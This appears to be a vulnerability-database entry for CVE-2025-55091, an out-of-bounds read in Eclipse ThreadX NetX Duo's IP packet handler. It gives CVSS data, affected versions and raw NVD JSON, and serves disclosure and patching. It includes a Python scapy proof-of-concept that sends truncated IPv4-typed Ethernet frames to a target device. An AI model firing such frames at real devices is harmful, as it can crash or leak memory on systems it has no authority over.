Security Vulnerability Report
中文
CVE-2025-55091 CVSS 6.5 MEDIUM

CVE-2025-55091

Published: 2025-10-16 08:15:36
Last Modified: 2025-10-21 17:09:46

Description

In NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_ip_packet_receive() function when received an Ethernet with type set as IP but no IP data.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX NetX Duo < 6.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55091 PoC - NetX Duo Out-of-Bounds Read in _nx_ip_packet_receive() # This PoC demonstrates crafting a malicious Ethernet frame with IP type but no IP data # to trigger out-of-bounds read in NetX Duo's _nx_ip_packet_receive() function from scapy.all import Ether, sendp, Raw def craft_exploit_packet(target_mac, interface="eth0"): """ Craft a malicious Ethernet frame: - Ethernet type set to IP (0x0800) - No actual IP payload data This triggers OOB read in _nx_ip_packet_receive() """ # Create Ethernet frame with IP type but minimal/no IP data # The frame declares itself as IP but contains insufficient IP data packet = Ether(dst=target_mac, type=0x0800) # type=0x0800 means IPv4 # Optionally add minimal data to simulate truncated IP packet # This forces the parser to read beyond valid buffer boundaries packet = packet / Raw(load=b"\x00" * 4) # Only 4 bytes instead of minimum IP header (20 bytes) return packet def exploit(target_mac="ff:ff:ff:ff:ff:ff", interface="eth0", count=1): """ Send the crafted exploit packet to trigger the vulnerability """ print(f"[*] Crafting malicious Ethernet frame targeting {target_mac}") packet = craft_exploit_packet(target_mac, interface) print(f"[*] Packet details:") packet.show() print(f"[*] Sending {count} exploit packet(s) on interface {interface}") sendp(packet, iface=interface, count=count, verbose=True) print("[+] Exploit packet sent successfully") if __name__ == "__main__": # Replace with target MAC address and network interface exploit( target_mac="01:02:03:04:05:06", # Target device MAC interface="eth0", # Network interface count=1 # Number of packets to send )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55091", "sourceIdentifier": "[email protected]", "published": "2025-10-16T08:15:36.093", "lastModified": "2025-10-21T17:09:46.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_ip_packet_receive() function when received an Ethernet with type set as IP but no IP data."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.4.202503", "matchCriteriaId": "24743F34-C00F-4CB2-BCEE-2BB29FA265CB"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-pf5q-r6q5-6j2f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}